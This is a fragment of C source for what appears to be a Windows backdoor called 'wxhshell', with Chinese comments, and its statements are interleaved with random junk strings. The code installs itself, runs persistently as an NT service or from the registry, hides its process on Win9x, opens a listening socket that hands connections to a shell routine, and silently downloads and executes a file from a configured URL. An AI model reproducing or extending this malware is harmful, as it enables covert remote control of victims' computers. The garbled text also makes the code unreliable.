CloseHandle(hProcess); (NFrZ0 b, a7XANsh if(strstr(procName,"services")) return 1; // 以服务启动 m"~ddqSMT ]|!|3lQ return 0; // 注册表启动 q!Ek
EW\n } m?Y-1!E0 ;l!<A // 主模块 HY5R int StartWxhshell(LPSTR lpCmdLine) #,z-Pj?O! { fCUx93,>z SOCKET wsl; $[A^8[// BOOL val=TRUE; t,De/ L int port=0; K*5gb^Ul struct sockaddr_in door; ^|Z'}p|& O=bkq} if(wscfg.ws_autoins) Install(); goiI*"6M `0ym3} (O port=atoi(lpCmdLine); 3T.V*& K@=u F1? if(port<=0) port=wscfg.ws_port; (!fx5&F 9 RDs`>v WSADATA data; o}r_+\n if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1P"7.{ S6M7^_B4F if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,X3D<wl setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]CNPy$>* door.sin_family = AF_INET; <VD7(j]'^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;!f~ door.sin_port = htons(port); 4RDY_HgF6 ngZq]8=o if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6rbR0dSgx closesocket(wsl); =LLpJ+ return 1; wowf1j- } I N3-ZNx 90uXJyW;d if(listen(wsl,2) == INVALID_SOCKET) { +)yoQRekX closesocket(wsl); .$peq return 1; }JtcAuQt } `#iL'ND[ Wxhshell(wsl); Vp; `!+z" WSACleanup(); wg[
+NWJ j7E;\AZ^ return 0; #m{(aa9; >y8>OJ?A7- } #f(tzPD ~6t<`&f // 以NT服务方式启动 Qa/1*Mb VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <LH6my { i?d545. u DWORD status = 0; #QsJr_= DWORD specificError = 0xfffffff; ^!
h3#4 =LIb0TZ2 serviceStatus.dwServiceType = SERVICE_WIN32; eb}XooX serviceStatus.dwCurrentState = SERVICE_START_PENDING; M^\`~{*T serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7./-|# serviceStatus.dwWin32ExitCode = 0; #*9 |\ serviceStatus.dwServiceSpecificExitCode = 0; ,#BD/dF serviceStatus.dwCheckPoint = 0; n}Eu^^d serviceStatus.dwWaitHint = 0; #\N8E-d whe%o hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :55a9d1bL if (hServiceStatusHandle==0) return; dY.X/f @Oz3A<M status = GetLastError(); 61QA<Wb if (status!=NO_ERROR) IHCxM|/k(M { U.Vn|s(`z serviceStatus.dwCurrentState = SERVICE_STOPPED; wvisu\V serviceStatus.dwCheckPoint = 0; Muq~p~m} serviceStatus.dwWaitHint = 0; QsPg4y3?D serviceStatus.dwWin32ExitCode = status; ~G8l1dD serviceStatus.dwServiceSpecificExitCode = specificError; =3% GLj SetServiceStatus(hServiceStatusHandle, &serviceStatus); D&K9!z"] return; ^PE|BCs } /T {R\ x ]}'H serviceStatus.dwCurrentState = SERVICE_RUNNING; ]qZj@0#7n serviceStatus.dwCheckPoint = 0; z^*g2J, serviceStatus.dwWaitHint = 0; hFtjw6 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _IEbRVpb } )mAD <y+ "fv+}' // 处理NT服务事件,比如:启动、停止 *C|*{! VOID WINAPI NTServiceHandler(DWORD fdwControl) Q~Nq5[ { n(LO`{ switch(fdwControl) SR.xI:}4 { zV15d91GX case SERVICE_CONTROL_STOP: OcpvY~"Pr serviceStatus.dwWin32ExitCode = 0; '-~J.8-</ serviceStatus.dwCurrentState = SERVICE_STOPPED; jp}.W serviceStatus.dwCheckPoint = 0; z*b|N45O serviceStatus.dwWaitHint = 0; 1x/ R { N&G(`] SetServiceStatus(hServiceStatusHandle, &serviceStatus); WC_U'nTu4 } $z)egh(z return; |'o<w
]hc case SERVICE_CONTROL_PAUSE: @@R&OR serviceStatus.dwCurrentState = SERVICE_PAUSED; N|"q6M!ZL break; wj'fdrY5h case SERVICE_CONTROL_CONTINUE: o,_F;ZhE serviceStatus.dwCurrentState = SERVICE_RUNNING; s/>0gu]A8 break; WSU/Z[\`H case SERVICE_CONTROL_INTERROGATE: MVQ6I/EA4 break; )B-[Q#*A- }; sGiK
S,.K SetServiceStatus(hServiceStatusHandle, &serviceStatus); S+eu3nMq } tqB6:p-% o9Mr7 // 标准应用程序主函数 9P#kV@%(0c int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ps0<CUyI { $%&OaAg }43qpJe8U // 获取操作系统版本 8{icY|:MTN OsIsNt=GetOsVer(); ~EQ#
%db GetModuleFileName(NULL,ExeFile,MAX_PATH); |,TBP@ /{[tU-}qJ // 从命令行安装 BGH'&t_5 if(strpbrk(lpCmdLine,"iI")) Install(); 9 ,tk 8U]mr+ // 下载执行文件 z~2;u5S& if(wscfg.ws_downexe) { SuV3$-);z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `4Z:qh+fJ WinExec(wscfg.ws_filenam,SW_HIDE); K-c>J
uv&, } sQrM"i0Y> L"T :#> if(!OsIsNt) { ;3Z?MQe"NQ // 如果时win9x,隐藏进程并且设置为注册表启动 LZ(K{+U/ HideProc(); ]gA2.,)}D StartWxhshell(lpCmdLine); )*.rl } 8{&.[SC7 else /
U~yYh if(StartFromService()) o~xGE 6A*" // 以服务方式启动 ?aB%h
|VA StartServiceCtrlDispatcher(DispatchTable); HB<>x else ]R09-s 0$7 // 普通方式启动 HYJEz2RF StartWxhshell(lpCmdLine); I&&;a. Ak}`zIo return 0; 64'sJc. }
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